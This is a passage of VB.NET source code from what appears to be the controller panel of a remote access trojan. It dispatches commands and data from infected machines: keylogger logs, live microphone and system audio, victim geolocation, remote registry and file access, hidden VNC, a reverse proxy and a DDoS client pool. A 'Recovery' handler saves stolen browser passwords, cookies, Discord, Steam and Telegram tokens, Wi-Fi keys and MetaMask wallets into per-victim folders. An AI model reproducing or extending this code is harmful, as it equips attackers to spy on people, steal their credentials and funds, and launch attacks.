|
End If
|
|
If RD Is Nothing Then
|
|
RD = New INFO
|
|
RD.C = C
|
|
RD.CID = A(1)
|
|
RD.Name = "Information : " & A(1)
|
|
RD.Text = "Information : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GetInformations"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As INFO = My.Application.OpenForms("Information : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ListView1.Items.Clear()
|
|
Dim _NextProc As String() = Split(A(2), "-=>")
|
|
For Each mm As String In _NextProc
|
|
If Not mm.Contains("Error!") Then
|
|
Dim itm As New ListViewItem
|
|
itm.Text = mm
|
|
itm.ImageKey = Strings.Split(mm, " :")(0).ToLower & ".png"
|
|
RD.ListView1.Items.Add(itm)
|
|
End If
|
|
Next
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Black
|
|
RD.ToolStripStatusLabel1.Text = "Informations [" & RD.ListView1.Items.Count & "]"
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "InformationsErr"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As INFO = My.Application.OpenForms("Information : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
|
|
Case "VOICECHAT"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As VoiceChat = My.Application.OpenForms("Voice Chat : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New VoiceChat
|
|
RD.C = C
|
|
RD.Name = "Voice Chat : " & A(1)
|
|
RD.Text = "Voice Chat : " & A(1)
|
|
Dim arg_0F_0 As Integer = 0
|
|
Dim num As Integer = WaveIn.DeviceCount - 1
|
|
For i As Integer = arg_0F_0 To num
|
|
RD.Guna2ComboBox1.Items.Add(WaveIn.GetCapabilities(i).ProductName)
|
|
Next
|
|
If RD.Guna2ComboBox1.Items.Count < 1 Then
|
|
C.isDisconnected()
|
|
LVLog("No microphone device can be found!", Color.Red)
|
|
SettingsHelper.MSGS += 1
|
|
Return
|
|
End If
|
|
RD.Guna2ComboBox1.SelectedIndex = 0
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "MICCM"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As MIC = My.Application.OpenForms("MIC : " & A(2))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New MIC
|
|
RD.C = C
|
|
RD.Name = "MIC : " & A(2)
|
|
RD.Text = "MIC : " & A(2)
|
|
For Each XX In Strings.Split(A(1), ("-=>"))
|
|
If Not XX = Nothing Then
|
|
RD.Guna2ComboBox1.Items.Add(XX)
|
|
End If
|
|
Next
|
|
RD.Guna2ComboBox1.SelectedIndex += 1
|
|
Try
|
|
RD.waveplayer.Init(RD.bwp)
|
|
RD.waveplayer.Play()
|
|
Catch
|
|
End Try
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "MICGET"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As MIC = My.Application.OpenForms("MIC : " & A(3))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.Text = "Size : " & " [" & BytesToString(b.LongLength) & "]"
|
|
Try
|
|
RD.bwp.AddSamples(Decompress(Convert.FromBase64String(A(1))), 0, Convert.ToInt32(A(2)))
|
|
GC.Collect()
|
|
Catch
|
|
End Try
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Xchat"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Chat = My.Application.OpenForms("Chat : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Chat
|
|
RD.C = C
|
|
RD.Name = "Chat : " & A(1)
|
|
RD.Text = "Chat : " & A(1)
|
|
RD.chatE = False
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "ENCHAT"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Chat = My.Application.OpenForms("Chat : " & A(1))
|
|
RD.C = C
|
|
RD.chatE = True
|
|
RD.Timer1.Enabled = True
|
|
End If
|
|
Exit Sub
|
|
Case "Wchat"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Chat = My.Application.OpenForms("Chat : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.Guna2TextBox2.Text &= (A(2))
|
|
RD.Guna2TextBox2.SelectionStart = RD.Guna2TextBox2.Text.Length
|
|
RD.Guna2TextBox2.ScrollToCaret()
|
|
RD.Guna2TextBox2.Refresh()
|
|
Try
|
|
My.Computer.Audio.Play(Path.Combine(Application.StartupPath, "Sounds", "Chat.wav"))
|
|
Catch ex As Exception
|
|
Debug.WriteLine("Wchat: " & ex.Message)
|
|
End Try
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "PaSTIME"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Fun = My.Application.OpenForms("Pastime : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Fun
|
|
RD.C = C
|
|
RD.Name = "Pastime : " & A(1)
|
|
RD.Text = "Pastime : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "SysSound"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Sound = My.Application.OpenForms("System Sound : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Sound
|
|
RD.C = C
|
|
RD.Name = "System Sound : " & A(1)
|
|
RD.Text = "System Sound : " & A(1)
|
|
Try
|
|
RD.waveplayer.Init(RD.bwp)
|
|
RD.waveplayer.Play()
|
|
Catch
|
|
End Try
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "SNDGet"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Sound = My.Application.OpenForms("System Sound : " & A(3))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.Text = "Size : " & " [" & BytesToString(b.LongLength) & "]"
|
|
Try
|
|
RD.bwp.AddSamples(Decompress(Convert.FromBase64String(A(1))), 0, Convert.ToInt32(A(2)))
|
|
GC.Collect()
|
|
Catch
|
|
End Try
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "maps"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Maps = My.Application.OpenForms("Location Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Maps
|
|
RD.C = C
|
|
RD.Name = "Location Manager : " & A(1)
|
|
RD.Text = "Location Manager : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GMapsapi"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Maps = My.Application.OpenForms("Location Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
If A(2) = Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Text = "Error!"
|
|
Return
|
|
End If
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Green
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
Try
|
|
RD.GMapControl1.MapProvider = GMapProviders.GoogleMap
|
|
RD.GMapControl1.DragButton = MouseButtons.Left
|
|
RD.GMapControl1.Position = New PointLatLng(A(2).Split(",")(0), A(2).Split(",")(1))
|
|
Dim markerOverlay As New GMapOverlay()
|
|
Dim marker = New GMarkerGoogle(New PointLatLng(A(2).Split(",")(0), A(2).Split(",")(1)), GMarkerGoogleType.blue)
|
|
marker.ToolTipText = String.Format("Location : " & DateTime.Now.ToLongTimeString())
|
|
RD.GMapControl1.Overlays.Add(markerOverlay)
|
|
markerOverlay.Markers.Add(marker)
|
|
marker.ToolTipMode = MarkerTooltipMode.Always
|
|
Catch ex As Exception
|
|
Debug.WriteLine("GMapsapi: " & ex.Message)
|
|
End Try
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Compiler"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As VBCode = My.Application.OpenForms("VB.Net Compiler : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New VBCode
|
|
RD.C = C
|
|
RD.Name = "VB.Net Compiler : " & A(1)
|
|
RD.Text = "VB.Net Compiler : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "CompilerErr"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As VBCode = My.Application.OpenForms("VB.Net Compiler : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Visible = True
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Case "CompilerMSG"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As VBCode = My.Application.OpenForms("VB.Net Compiler : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Green
|
|
RD.ToolStripStatusLabel1.Visible = True
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Registry"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Registry = My.Application.OpenForms("Registry Editor : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Registry
|
|
RD.C = C
|
|
RD.Name = "Registry Editor : " & A(1)
|
|
RD.Text = "Registry Editor : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "RG"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Registry = My.Application.OpenForms("Registry Editor : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
Select Case A(2)
|
|
Case "~"
|
|
RD.RGk.Enabled = True
|
|
RD.RGk.SelectedNode.Nodes.Clear()
|
|
RD.ListView1.Items.Clear()
|
|
RD.ToolStripProgressBar1.Value = 0
|
|
RD.ToolStripProgressBar1.Maximum = (A.Length - 3)
|
|
Dim num20 As Integer = (A.Length - 1)
|
|
Dim i As Integer = 4
|
|
Do While (i <= num20)
|
|
Try
|
|
RD.ToolStripProgressBar1 = RD.ToolStripProgressBar1
|
|
RD.ToolStripProgressBar1.Value += 1
|
|
If (A(i).Length > 0) Then
|
|
If A(i).Contains("/") Then
|
|
Dim strArray2 As String() = Strings.Split(A(i), "/", -1, CompareMethod.Binary)
|
|
Dim item As ListViewItem = RD.ListView1.Items.Add(strArray2(0))
|
|
item.SubItems.Add(strArray2(1))
|
|
Try
|
|
item.SubItems.Add(strArray2(2))
|
|
Catch exception17 As Exception
|
|
Debug.WriteLine(exception17.Message)
|
|
End Try
|
|
If (strArray2(1) = "String") Then
|
|
item.ImageIndex = 1
|
|
Else
|
|
item.ImageIndex = 2
|
|
End If
|
|
Else
|
|
RD.RGk.SelectedNode.Nodes.Add(A(i))
|
|
End If
|
|
End If
|
|
Catch exception18 As Exception
|
|
Debug.WriteLine(exception18.Message)
|
|
End Try
|
|
i += 1
|
|
Loop
|
|
RD.RGk.SelectedNode.Expand()
|
|
RD.RGk.Select()
|
|
RD.RGk.Focus()
|
|
Dim num21 As Integer = (RD.ListView1.Columns.Count - 1)
|
|
Dim j As Integer = 0
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Black
|
|
Do While (j <= num21)
|
|
RD.ListView1.Columns.Item(j).AutoResize(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
j += 1
|
|
RD.ToolStripStatusLabel1.Text = "Keys [" & RD.ListView1.Items.Count & "]"
|
|
Loop
|
|
RD.ToolStripProgressBar1.Value = 0
|
|
Exit Select
|
|
End Select
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "RGErr"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Registry = My.Application.OpenForms("Registry Editor : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.RGk.Enabled = True
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "DDos"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As DDosAttack = My.Application.OpenForms("DDosAttack")
|
|
If RD IsNot Nothing Then
|
|
If Not RD.Clients.Contains(C) Then
|
|
RD.Clients.Add(C)
|
|
RD.ToolStripStatusLabel2.Text = "Clients [" & RD.Clients.Count & "]"
|
|
End If
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "OfflineGet"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "Keylogger")
|
|
Dim Logs As String = A(2)
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
File.WriteAllText(fullPath & "\KeyLogger_" & Date.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".txt", Logs.Replace(vbLf, Environment.NewLine).Replace("[ENTER]", Environment.NewLine).Replace("[SPACE]", " "))
|
|
LVLog(C.IP.Split(":")(0) & " keyLogger was saved @ ClientsFolder \ " & A(1) & " \ Keylogger", Color.Purple)
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "FilesSearcher"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As FilesSearcher = My.Application.OpenForms("Files Searcher : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New FilesSearcher
|
|
RD.C = C
|
|
RD.Name = "Files Searcher : " & A(1)
|
|
RD.Text = "Files Searcher : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "ZipGet"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As FilesSearcher = My.Application.OpenForms("Files Searcher : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "FilesSearcher")
|
|
If A(2).Contains("\") Or A(2).Contains("/") Or A(1).Contains("\") Or A(1).Contains("/") Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Text = IO.Path.GetFileName(A(2)) & " Download Blocked!"
|
|
Else
|
|
RD.Guna2GradientButton1.Enabled = True
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
IO.File.WriteAllBytes(fullPath & "\" & A(2), Decompress(Convert.FromBase64String(A(3))))
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Green
|
|
RD.ToolStripStatusLabel1.Text = "Successfully : " & A(2)
|
|
End If
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "FilesSearcherMSG"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As FilesSearcher = My.Application.OpenForms("Files Searcher : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Green
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "FilesSearcherErr"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As FilesSearcher = My.Application.OpenForms("Files Searcher : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.Guna2GradientButton1.Enabled = True
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "ServiceManager"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As ServiceManager = My.Application.OpenForms("Service Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New ServiceManager
|
|
RD.C = C
|
|
RD.Name = "Service Manager : " & A(1)
|
|
RD.Text = "Service Manager : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GetService"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As ServiceManager = My.Application.OpenForms("Service Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ListView1.Items.Clear()
|
|
Dim _NextProc As String() = Split(A(2), "-=>")
|
|
For i As Integer = 0 To _NextProc.Length - 1
|
|
If _NextProc(i).Length > 0 Then
|
|
Dim itm As New ListViewItem
|
|
itm.Text = _NextProc(i)
|
|
itm.ImageIndex = 0
|
|
itm.SubItems.Add(_NextProc(i + 1))
|
|
itm.SubItems.Add(_NextProc(i + 2))
|
|
itm.SubItems.Add(_NextProc(i + 3))
|
|
itm.SubItems.Add(_NextProc(i + 4))
|
|
RD.ListView1.Items.Add(itm)
|
|
End If
|
|
i += 4
|
|
Next
|
|
RD.ToolStripStatusLabel2.Text = "Service [" & RD.ListView1.Items.Count & "]"
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Recovery"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "Recovery")
|
|
Dim Logs As String = A(3)
|
|
If Not String.IsNullOrEmpty(Logs) Then
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
End If
|
|
Dim AHayanya = False
|
|
Select Case Convert.ToInt32(A(2))
|
|
Case 0
|
|
If String.IsNullOrEmpty(Logs) Then
|
|
LVLog(C.IP.Split(":")(0) & " Has No FileZilla", Color.MediumPurple)
|
|
Else
|
|
IO.File.WriteAllText(fullPath & "\FileZilla_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs)
|
|
LVLog(C.IP.Split(":")(0) & " FileZilla Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
End If
|
|
Case 1
|
|
If String.IsNullOrEmpty(Logs) Then
|
|
LVLog(C.IP.Split(":")(0) & " Has No WifiKeys", Color.MediumPurple)
|
|
Else
|
|
IO.File.WriteAllText(fullPath & "\WifiKeys_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs)
|
|
LVLog(C.IP.Split(":")(0) & " WifiKeys Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
End If
|
|
Case 2
|
|
If String.IsNullOrEmpty(Logs) Then
|
|
LVLog(C.IP.Split(":")(0) & " Has No DiscordToken", Color.MediumPurple)
|
|
Else
|
|
IO.File.WriteAllText(fullPath & "\DiscordToken_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs)
|
|
LVLog(C.IP.Split(":")(0) & " DiscordToken Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
End If
|
|
Case 3
|
|
If String.IsNullOrEmpty(Logs) Then
|
|
LVLog(C.IP.Split(":")(0) & " Has No ProductKey", Color.MediumPurple)
|
|
Else
|
|
IO.File.WriteAllText(fullPath & "\ProductKey_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs)
|
|
LVLog(C.IP.Split(":")(0) & " ProductKey Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
End If
|
|
Case 4
|
|
If String.IsNullOrEmpty(Logs) Then
|
|
LVLog(C.IP.Split(":")(0) & " Has No Telegram_tdata", Color.MediumPurple)
|
|
Else
|
|
IO.File.WriteAllBytes(fullPath & "\Telegram_tdata_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".zip", Decompress(Convert.FromBase64String(Logs)))
|
|
LVLog(C.IP.Split(":")(0) & " Telegram_tdata Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
End If
|
|
Case 5
|
|
If String.IsNullOrEmpty(Logs) Then
|
|
LVLog(C.IP.Split(":")(0) & " Has No MetaMask", Color.MediumPurple)
|
|
Else
|
|
IO.File.WriteAllBytes(fullPath & "\MetaMask_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".zip", Decompress(Convert.FromBase64String(Logs)))
|
|
LVLog(C.IP.Split(":")(0) & " MetaMask Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
End If
|
|
|
|
Case 6
|
|
If String.IsNullOrEmpty(Logs) Then
|
|
LVLog(C.IP.Split(":")(0) & " Has No Saved Passwords", Color.MediumPurple)
|
|
Else
|
|
IO.File.WriteAllText(fullPath & "\PasswordsRecover_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs)
|
|
LVLog(C.IP.Split(":")(0) & " PasswordsRecovered Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
End If
|
|
|
|
Case 7
|
|
If String.IsNullOrEmpty(Logs) Then
|
|
LVLog(C.IP.Split(":")(0) & " Has No Saved Passwords", Color.MediumPurple)
|
|
Else
|
|
IO.File.WriteAllBytes(fullPath & "\Passwords_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".zip", Decompress(Convert.FromBase64String(Logs)))
|
|
LVLog(C.IP.Split(":")(0) & " Passwords Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
End If
|
|
|
|
Case 10
|
|
|
|
If String.IsNullOrEmpty(Logs) Then
|
|
LVLog(C.IP.Split(":")(0) & " Has No SteamToken", Color.MediumPurple)
|
|
Else
|
|
IO.File.WriteAllText(fullPath & "\SteamToken_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs)
|
|
LVLog(C.IP.Split(":")(0) & " SteamToken Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
End If
|
|
|
|
End Select
|
|
End If
|
|
Exit Sub
|
|
|
|
'Case "RunRecovery"
|
|
' If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
' Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "Recovery")
|
|
' Dim Logs As String = A(2)
|
|
' Dim RecoveryOut As String = fullPath & "\RecoveryData"
|
|
' If Not Directory.Exists(RecoveryOut) Then
|
|
' Directory.CreateDirectory(RecoveryOut)
|
|
' End If
|
|
' Dim brsInfo As BrsInfo = JsonConvert.DeserializeObject(Of BrsInfo)(Logs)
|
|
' File.WriteAllText(RecoveryOut & "\cookies.json", JsonConvert.SerializeObject(brsInfo.listcookie, Formatting.Indented))
|
|
' File.WriteAllText(RecoveryOut & "\passwords.json", JsonConvert.SerializeObject(brsInfo.listps, Formatting.Indented))
|
|
' File.WriteAllText(RecoveryOut & "\bookmark.json", JsonConvert.SerializeObject(brsInfo.listbmark, Formatting.Indented))
|
|
' File.WriteAllText(RecoveryOut & "\history.json", JsonConvert.SerializeObject(brsInfo.listhist, Formatting.Indented))
|
|
' File.WriteAllText(RecoveryOut & "\autofill.json", JsonConvert.SerializeObject(brsInfo.listautofill, Formatting.Indented))
|
|
' File.WriteAllText(RecoveryOut & "\credit.json", JsonConvert.SerializeObject(brsInfo.listcredit, Formatting.Indented))
|
|
' Dim cookies As String = RecoveryOut & "\cookies.txt"
|
|
' File.Delete(cookies)
|
|
' For Each cookie As Cookie In brsInfo.listcookie
|
|
' File.AppendAllText(cookies, String.Format("{0}" & vbTab & "{1}" & vbTab & "{2}" & vbTab & "{3}" & vbTab & "{4}" & vbTab & "{5}" & vbTab & "{6}" & vbLf, New Object() {cookie.domain, cookie.hostOnly, cookie.path, cookie.httpOnly, cookie.expirationDate, cookie.name, cookie.value}).Replace("False", "FALSE").Replace("True", "TRUE"))
|
|
' Next
|
|
' LVLog(C.IP.Split(":")(0) & " Passwords Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery" & " \ RecoveryData", Color.Purple)
|
|
' End If
|
|
' Exit Sub
|
|
|
|
Case "Chromium"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "Recovery")
|
|
Dim Logs As String = A(2)
|
|
If Not String.IsNullOrEmpty(Logs) Then
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
IO.File.WriteAllText(fullPath & "\Chromium_" & DateAndTime.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".txt", Logs)
|
|
LVLog(C.IP.Split(":")(0) & " Chromium Passwords Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple)
|
|
Else
|
|
LVLog(C.IP.Split(":")(0) & " Has No Passwords", Color.MediumPurple)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "RevProxy"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Proxy = My.Application.OpenForms("ReverseProxy")
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Proxy
|
|
RD.C = C
|
|
RD.Name = "ReverseProxy"
|
|
RD.Text = "ReverseProxy"
|
|
RD.Cip = C.IP.ToString.Split(":")(0)
|
|
RD.PictureBox1.Image = Main.ii.Images.Item(GetCountry.LookupCountryCode(C.IP.Split(":")(0)) & ".png")
|
|
RD.Label1.Text = GetCountry.LookupCountryName(C.IP.Split(":")(0))
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "FormHVNC"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HVNC = My.Application.OpenForms("Hidden VNC : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New HVNC
|
|
RD.C = C
|
|
RD.Name = "Hidden VNC : " & A(1)
|
|
RD.Text = "Hidden VNC : " & A(1)
|
|
RD.Width = Convert.ToInt32(A(2))
|
|
RD.Height = Convert.ToInt32(A(3))
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "HVNC"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As HVNC = My.Application.OpenForms("Hidden VNC : " & A(1))
|
|
